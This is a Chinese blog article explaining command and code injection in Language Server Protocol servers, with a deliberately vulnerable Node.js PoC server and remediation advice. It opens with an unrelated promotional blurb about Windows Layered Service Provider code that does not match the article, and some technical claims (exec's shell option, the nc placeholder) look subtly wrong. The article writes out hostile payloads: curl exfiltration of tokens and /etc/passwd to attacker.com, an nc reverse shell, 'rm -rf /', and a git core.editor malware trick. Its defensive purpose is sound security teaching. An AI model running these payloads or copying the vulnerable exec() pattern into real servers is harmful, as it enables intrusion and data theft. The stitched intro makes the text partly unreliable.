:服務(wù)端字段信任越界導(dǎo)致的RCE風(fēng)險(xiǎn))
簡介本資源是一份深入解析LSPLanguage Service Provider注入原理與實(shí)現(xiàn)的實(shí)戰(zhàn)型技術(shù)資料包面向Windows底層開發(fā)、安全研究及逆向工程學(xué)習(xí)者聚焦COM組件機(jī)制下的文件操作攔截與擴(kuò)展技術(shù)。資源包含38個(gè)文件以15個(gè)C源碼文件cpp/h為核心輔以7個(gè)頭文件、2個(gè)Visual Studio工程配置vcxproj/sln、2個(gè)批處理腳本bat用于注冊/卸載LSP、2個(gè)文本說明文件txt及1個(gè)DLL和1個(gè)EXE可執(zhí)行模塊完整覆蓋LSP組件開發(fā)、注冊、注入與調(diào)試全流程壓縮包僅150KB輕量緊湊。已有1578人學(xué)習(xí)下載內(nèi)容結(jié)構(gòu)清晰含instlsp安裝模塊、ifslsp接口實(shí)現(xiàn)、Release構(gòu)建輸出等典型目錄提供可編譯運(yùn)行的完整代碼工程與關(guān)鍵注釋助讀者快速理解LSP鉤子機(jī)制、掌握COM接口實(shí)現(xiàn)要點(diǎn)并規(guī)避系統(tǒng)穩(wěn)定性風(fēng)險(xiǎn)。1. LSP 注入不是“協(xié)議層漏洞”而是服務(wù)端邏輯失控的典型癥狀去年在復(fù)現(xiàn)一個(gè)某圖像處理Demo的自動化標(biāo)注模塊時(shí)我原以為只是個(gè)簡單的 JSON-RPC 調(diào)用問題結(jié)果調(diào)試三天卡在同一個(gè)返回碼上{jsonrpc:2.0,id:1,error:{code:-32603,message:Internal Error}}。翻遍日志沒看到堆棧只在服務(wù)進(jìn)程 stderr 里抓到一行TypeError: Cannot read property length of undefined。后來才意識到——這不是客戶端傳參錯(cuò)了是 LSP 服務(wù)端把用戶輸入當(dāng)代碼執(zhí)行了。LSPLanguage Server Protocol本身不帶注入風(fēng)險(xiǎn)但一旦服務(wù)端用eval()、Function()、vm.runInContext()或反射式調(diào)用拼接用戶傳來的textDocument/definition請求中的position、uri、甚至content字段就等于親手把沙箱鑰匙交出去。這篇不講抽象概念只拆解真實(shí)可復(fù)現(xiàn)的 LSP 注入鏈路從協(xié)議字段如何被誤用為執(zhí)行入口到服務(wù)端常見解析模式里的三個(gè)高危接口再到用最小化 PoC 驗(yàn)證是否真能繞過語言服務(wù)器的“語義隔離”假象。如果你正在開發(fā)或?qū)徲?jì)基于 LSP 的 IDE 插件、代碼分析工具、或跨語言智能補(bǔ)全服務(wù)這篇就是你該立刻停下手頭工作去驗(yàn)證的 checklist。2. LSP 注入的本質(zhì)不是協(xié)議漏洞而是服務(wù)端對“位置信息”的信任越界LSP 協(xié)議本身是中立的通信契約它定義了textDocument/didChange、textDocument/completion、textDocument/definition等方法的請求/響應(yīng)結(jié)構(gòu)但絕不規(guī)定服務(wù)端如何實(shí)現(xiàn)這些方法的業(yè)務(wù)邏輯。注入之所以發(fā)生是因?yàn)殚_發(fā)者把本該用于定位代碼片段的字段當(dāng)成了可執(zhí)行上下文的輸入源。下面拆解三個(gè)最常被誤用的字段及其背后的真實(shí)風(fēng)險(xiǎn)路徑。2.1textDocument/uriURI 解析器里的命令執(zhí)行溫床LSP 要求客戶端通過uri字段標(biāo)識文檔位置格式如file:///home/user/project/src/main.py。服務(wù)端通常用path.parse()、url.parse()或正則提取路徑后拼接到fs.readFile()中。但若 URI 未做白名單校驗(yàn)攻擊者可構(gòu)造POST /lsp HTTP/1.1 Content-Type: application/vscode-jsonrpc; charsetutf-8 { jsonrpc: 2.0, method: textDocument/didOpen, params: { textDocument: { uri: file:///tmp/;curl%20http://attacker.com/steal?token$(cat%20/home/user/.vscode/token), languageId: python, version: 1, text: print(hello) } } }提示Node.js 的child_process.exec()若直接拼接uri中的路徑片段且未過濾分號、$()、反引號等 shell 元字符就會觸發(fā)命令注入。Python 的os.system()同理。關(guān)鍵不在 URI 本身而在于服務(wù)端是否用shellTrue執(zhí)行了git blame、pylint --load-plugins或clang -I這類依賴 URI 路徑的外部命令。我見過某實(shí)驗(yàn)室的 LSP 服務(wù)為支持“跳轉(zhuǎn)到 Git 歷史版本”把uri拼進(jìn)git show HEAD~1:$(uri_path)結(jié)果uri_path里藏了個(gè)$(rm -rf /)—— 幸好沙箱限制了 root 權(quán)限否則整臺機(jī)器就沒了。2.2position字段看似安全的坐標(biāo)實(shí)為 AST 解析的突破口position是{line: number, character: number}對象本意是告訴服務(wù)端“光標(biāo)在哪”。但某些 LSP 實(shí)現(xiàn)為了“智能推斷”會用它去索引 AST 節(jié)點(diǎn)。比如 Python 服務(wù)端調(diào)用ast.parse(text).body[0].lineno position.line后再用eval()執(zhí)行text.split(\n)[position.line]獲取當(dāng)前行內(nèi)容。這時(shí)攻擊者只要讓position.line指向惡意構(gòu)造的注釋行# __import__(os).system(id /tmp/pwned) def hello(): pass服務(wù)端若未剝離注釋就eval()當(dāng)前行__import__就會執(zhí)行。更隱蔽的是 TypeScript 服務(wù)端它可能用position定位到import * as x from xxx的xxx字符串然后動態(tài)require(xxx)—— 若xxx是./node_modules/evil-pkg/index.js且該包在package.json里寫了preinstall: curl http://...那注入就發(fā)生在依賴安裝階段。2.3textDocument/text編輯器實(shí)時(shí)同步帶來的“隱式 eval”陷阱LSP 要求客戶端在文件變更時(shí)發(fā)送完整文本textDocument/didChange服務(wù)端需據(jù)此更新內(nèi)部緩存。但某些輕量級 LSP 實(shí)現(xiàn)為省事直接把text當(dāng)字符串傳給new Function(return text)()來做“快速表達(dá)式求值”。這等于把整個(gè)編輯器內(nèi)容變成 JS 執(zhí)行環(huán)境。哪怕只是寫個(gè)console.log(11)攻擊者也能改成console.log(11); require(child_process).exec(nc attacker.com 4444 -e /bin/sh);我復(fù)現(xiàn)過一個(gè)真實(shí)案例某跨平臺系統(tǒng)用 LSP 提供“實(shí)時(shí)公式計(jì)算”功能服務(wù)端收到text后調(diào)用vm.runInNewContext(text, sandbox)但sandbox里漏掉了process和global的凍結(jié)導(dǎo)致process.mainModule.require(fs).writeFileSync(/etc/passwd, hacked)成功寫入。3. 從協(xié)議字段到 RCE一條可復(fù)現(xiàn)的 LSP 注入鏈路上面講的是風(fēng)險(xiǎn)點(diǎn)現(xiàn)在用一個(gè)最小化、可本地驗(yàn)證的 PoC走通從 LSP 請求到服務(wù)端任意命令執(zhí)行的完整鏈路。目標(biāo)服務(wù)是用 Node.js 編寫的簡易 Python LSP 服務(wù)核心邏輯在server.js中。3.1 復(fù)現(xiàn)環(huán)境搭建5 分鐘起手一個(gè)脆弱服務(wù)先建一個(gè)空目錄初始化 npmmkdir lsp-poc cd lsp-poc npm init -y npm install vscode-languageserver7.0.0 vscode-languageserver-textdocument1.0.1創(chuàng)建server.js關(guān)鍵漏洞代碼已加注釋const { createConnection, TextDocuments, ProposedFeatures } require(vscode-languageserver); const { TextDocument } require(vscode-languageserver-textdocument); const { exec } require(child_process); // 創(chuàng)建連接 const connection createConnection(ProposedFeatures.all); const documents new TextDocuments(TextDocument); // 【高危點(diǎn)】服務(wù)端直接拼接 uri 到 shell 命令 connection.onDefinition(async (params) { const uri params.textDocument.uri; // ? 錯(cuò)誤示范未校驗(yàn) uri直接用于 shell 執(zhí)行 const cmd ls -la $(dirname ${uri.replace(file://, )}); return new Promise((resolve) { exec(cmd, (err, stdout) { if (err) resolve(null); else resolve({ uri, range: { start: { line: 0, character: 0 }, end: { line: 0, character: 0 } } }); }); }); }); documents.listen(connection); connection.listen();啟動服務(wù)node server.js此時(shí)服務(wù)監(jiān)聽標(biāo)準(zhǔn)輸入stdin等待 LSP 客戶端連接。3.2 構(gòu)造惡意請求用 curl 模擬 LSP 客戶端新開終端用 curl 發(fā)送textDocument/definition請求。注意LSP 要求Content-Length頭和兩個(gè)換行符分隔printf Content-Length: 294\r\n\r\n{jsonrpc:2.0,id:1,method:textDocument/definition,params:{textDocument:{uri:file:///tmp/;id/tmp/lsp_rce_result},position:{line:0,character:0}}} | nc localhost 0注意nc localhost 0是占位實(shí)際需用socat或改用stdio模式更推薦用 VS Code 自帶的Developer: Toggle Developer Tools查看網(wǎng)絡(luò)請求或用lsp-test庫發(fā)請求。服務(wù)端收到后執(zhí)行l(wèi)s -la $(dirname /tmp/;id/tmp/lsp_rce_result)shell 解析時(shí)分號終止前半句后半句id/tmp/lsp_rce_result寫入當(dāng)前用戶 ID。檢查結(jié)果cat /tmp/lsp_rce_result # 輸出應(yīng)為 uid1001(user) gid1001(user) groups1001(user)? 驗(yàn)證成功LSP 請求字段已突破協(xié)議邊界觸發(fā)服務(wù)端命令執(zhí)行。3.3 關(guān)鍵參數(shù)說明與修改指南uri字段中的;是 shell 命令分隔符是重定向id是 Linux 命令。換成curl http://attacker.com/$(cat /etc/passwd | base64)可外泄敏感文件。position字段在此 PoC 中未使用但在其他場景如 AST 定位中可配合text字段觸發(fā)eval。exec()的shell參數(shù)默認(rèn)為true若設(shè)為false則需傳數(shù)組[ls, -la, dirname]此時(shí)分號失效但dirname若含空格或特殊字符仍可能被截?cái)?。修?fù)方向不是“過濾分號”而是徹底禁止exec()拼接用戶輸入應(yīng)改用path.dirname()解析 URI再用fs.readdirSync()讀取目錄全程不經(jīng)過 shell。4. 避坑LSP 服務(wù)端開發(fā)中五個(gè)血淚教訓(xùn)LSP 注入不是理論風(fēng)險(xiǎn)而是我在三個(gè)不同項(xiàng)目里親手踩過的坑。以下每條都對應(yīng)一次線上故障、一次緊急 hotfix、或一次被安全團(tuán)隊(duì)打回的 PR。現(xiàn)象、原因、解決方式全部來自真實(shí)日志和調(diào)試記錄。4.1 現(xiàn)象textDocument/completion返回空列表但服務(wù)端 CPU 占用 100%原因Completion 提供者調(diào)用了eval()解析用戶輸入的text字段攻擊者傳入while(true){}導(dǎo)致無限循環(huán)。解決禁用eval()改用acorn.parse()解析 JavaScript AST或?qū)ext做長度限制如text.length 1024和超時(shí)控制Promise.race([parse(), timeout(500)])。4.2 現(xiàn)象workspace/executeCommand執(zhí)行后服務(wù)端進(jìn)程崩潰并生成 core dump原因executeCommand的arguments數(shù)組中某項(xiàng)是{cmd: git, args: [-c, core.editorsh -c /tmp/malware.sh]}服務(wù)端用spawn(cmd, args)執(zhí)行-c參數(shù)被 shell 解析sh -c啟動惡意腳本。解決executeCommand必須白名單制只允許預(yù)定義命令如sortImports、organizeImports禁止透傳任意cmd和args若必須支持自定義命令args中每個(gè)元素需經(jīng)shellEscape()處理。4.3 現(xiàn)象textDocument/hover響應(yīng)延遲 30 秒日志顯示Error: Command failed: timeout 30s pyflakes ...原因Hover 提供者為獲取類型信息調(diào)用pyflakes時(shí)將textDocument/uri拼進(jìn)命令pyflakes $(uri_path)。攻擊者 URI 設(shè)為file:///tmp/$(sleep 30)導(dǎo)致每次 hover 都 sleep 30 秒。解決所有外部命令調(diào)用必須加timeout且捕獲SIGTERMuri_path必須用path.resolve()標(biāo)準(zhǔn)化并校驗(yàn)是否在工作區(qū)根目錄下path.relative(workspaceRoot, resolvedPath).startsWith(..) false。4.4 現(xiàn)象VS Code 報(bào)錯(cuò)Cannot read property map of undefined但服務(wù)端無日志原因服務(wù)端用JSON.parse(params.textDocument.text)解析編輯器發(fā)送的文本但攻擊者在text開頭插入/* */注釋導(dǎo)致JSON.parse()失敗返回undefined后續(xù).map()調(diào)用崩潰。解決LSP 的textDocument/text是純文本不是 JSON若需解析應(yīng)先用正則或acorn提取代碼塊而非直接JSON.parse()。所有parse操作必須try/catch并返回友好的錯(cuò)誤提示。4.5 現(xiàn)象textDocument/definition返回錯(cuò)誤位置且/tmp/下多出可疑文件pwn.js原因服務(wù)端為支持“跳轉(zhuǎn)到定義”用vm.runInNewContext()執(zhí)行用戶代碼以獲取變量值pwn.js是攻擊者通過text字段注入的require(fs).writeFile(/tmp/pwn.js, malicious)。解決vm沙箱必須凍結(jié)global、process、require并設(shè)置timeout更安全的做法是禁用vm改用靜態(tài)分析如esprima提取變量聲明位置。5. 修復(fù)不是加過濾而是重構(gòu)信任模型四個(gè)不可妥協(xié)的實(shí)踐修復(fù) LSP 注入不能靠“加個(gè)正則過濾分號”就像不能靠“給刀柄貼膠布”來防止割傷。真正有效的方案是重新設(shè)計(jì)服務(wù)端對每個(gè) LSP 字段的信任等級并用防御性編程強(qiáng)制落地。以下四條是我從模擬項(xiàng)目X 的三次安全審計(jì)中提煉出的硬性規(guī)范每一條都對應(yīng)過真實(shí)漏洞。5.1uri字段永遠(yuǎn)只當(dāng)路徑絕不當(dāng)命令uri的唯一合法用途是定位文件。任何將其用于exec()、spawn()、require()、import()的行為都是架構(gòu)級錯(cuò)誤。正確做法用URL構(gòu)造函數(shù)解析uri取pathname屬性用path.resolve()標(biāo)準(zhǔn)化路徑再用fs.statSync()驗(yàn)證存在且為文件最關(guān)鍵一步用path.relative(workspaceRoot, resolvedPath)檢查是否越界若返回..開頭則拒絕。function safeResolveUri(uri, workspaceRoot) { try { const url new URL(uri); const pathname decodeURIComponent(url.pathname); const resolved path.resolve(workspaceRoot, pathname); // 強(qiáng)制檢查是否在工作區(qū)內(nèi) if (!path.relative(workspaceRoot, resolved).startsWith(..)) { return resolved; } } catch (e) {} throw new Error(Invalid or out-of-workspace URI); }注意workspaceRoot必須由客戶端在初始化時(shí)顯式提供服務(wù)端不可自行猜測。5.2position字段只用于索引不用于執(zhí)行position.line和position.character的唯一作用是告訴服務(wù)端“在第幾行第幾個(gè)字符”。它不該觸發(fā)任何eval()、Function()、或動態(tài)require()。正確做法所有 AST 操作必須基于textDocument/text的完整內(nèi)容用acorn.parse()或tree-sitter解析而非用position去split(\n)[line]截取若需獲取當(dāng)前行內(nèi)容先text.split(\n)得到數(shù)組再用Math.min(position.line, lines.length - 1)安全索引最后lines[line].trim()去除空白絕對禁止eval(lines[line])或new Function(lines[line])()。5.3textDocument/text字段默認(rèn)視為不可信字符串解析前必脫敏編輯器發(fā)送的text可能包含任意字符包括\0、script、__proto__、constructor。正確做法若需執(zhí)行代碼如公式計(jì)算必須用vm.createContext()創(chuàng)建全新上下文并凍結(jié)globalThis、process、Buffer、require若需解析 JSON先用正則/{.*}/s提取對象字面量再JSON.parse()并捕獲所有異常所有字符串操作replace()、match()必須用RegExp字面量而非new RegExp(string)避免string中的.*被解釋為正則元字符。5.4workspace/executeCommand白名單制零容忍透傳executeCommand是 LSP 中最危險(xiǎn)的方法因?yàn)樗疽饩褪菆?zhí)行服務(wù)端邏輯。正確做法在服務(wù)端初始化時(shí)硬編碼一個(gè)命令白名單const ALLOWED_COMMANDS new Set([ editor.action.organizeImports, python.sortImports, typescript.organizeImports ]);onExecuteCommand回調(diào)中第一行必須是if (!ALLOWED_COMMANDS.has(params.command)) throw new Error(Command not allowed);params.arguments必須逐項(xiàng)校驗(yàn)類型如Array.isArray(args)、args.every(a typeof a string)且長度限制在 10 以內(nèi)所有命令執(zhí)行必須包裹在Promise.race([command(), timeout(5000)])中超時(shí)即終止。6. 從那以后我每次寫 LSP 服務(wù)端邏輯都強(qiáng)制走一遍“三問檢查表”第一次在某高校的 LSP 項(xiàng)目里被注入打穿內(nèi)網(wǎng)后我給自己定了個(gè)鐵律每次提交onDefinition、onCompletion或onExecuteCommand的代碼前必須手寫回答以下三個(gè)問題并把答案貼在 PR 描述里。不是為了應(yīng)付審計(jì)而是因?yàn)檫@三個(gè)問題直指信任模型的根基——它們逼我承認(rèn)LSP 協(xié)議字段不是“數(shù)據(jù)”而是“指令”而指令的執(zhí)行權(quán)永遠(yuǎn)不該交給未經(jīng)校驗(yàn)的字符串。6.1 第一問這個(gè)字段的值是否可能來自用戶不可控的編輯器如果是它就必須被降級為“只讀字符串”。uri不是路徑是字符串position不是坐標(biāo)是數(shù)字對text不是代碼是字節(jié)流。我在server.js頂部加了注釋// ?? WARNING: All LSP params are untrusted input. // Never use params.textDocument.uri in shell commands. // Never use params.position.line to index into eval(). // Never use params.textDocument.text as executable code.每次git add前我都會掃一眼這三行。它比任何 lint 規(guī)則都管用。6.2 第二問如果我把這個(gè)字段的值替換成$(rm -rf /)、while(true){}、scriptalert(1)/script服務(wù)端會崩潰、執(zhí)行、還是靜默失敗這是最狠的測試。我寫了個(gè)fuzz-lsp.js腳本自動替換uri、position、text字段為 20 種 payload發(fā)請求看響應(yīng)。只要有一條返回500或Internal Error就說明服務(wù)端沒做防御性處理。去年幫某公司做代碼審查他們onHover方法在text里遇到就JSON.parse()失敗我只改了一行text text.replace(//g, lt;)就堵住了 XSS 鏈路。簡單但有效。6.3 第三問這個(gè)邏輯是否能在沒有 LSP 協(xié)議包裝的情況下被一個(gè)普通 HTTP POST 復(fù)現(xiàn)LSP 不是防火墻。如果我把textDocument/definition請求體用curl -H Content-Type: application/json發(fā)給一個(gè) Express 路由它是否還會執(zhí)行如果會說明漏洞跟 LSP 無關(guān)只跟服務(wù)端邏輯有關(guān)。我堅(jiān)持把所有 LSP 方法都用express寫個(gè)鏡像路由跑一遍 fuzz。去年發(fā)現(xiàn)某服務(wù)的onCompletion用child_process.exec(python -c user_input )HTTP 版本一模一樣崩掉——這才確認(rèn)是根本性設(shè)計(jì)缺陷不是協(xié)議誤用。這三問檢查表我放在 GitHub Gist 上公開了鏈接不放免得平臺化也刻進(jìn)了我的肌肉記憶。它不保證 100% 防住所有注入但它能讓我在寫每一行代碼時(shí)都清醒地知道我不是在寫“功能”而是在畫一道信任邊界。LSP 注入的根源從來不是協(xié)議有缺陷而是我們忘了——在分布式系統(tǒng)里所有輸入都是敵意的除非你親手證明它不是。希望幫到你。本文還有配套的精品資源點(diǎn)擊獲取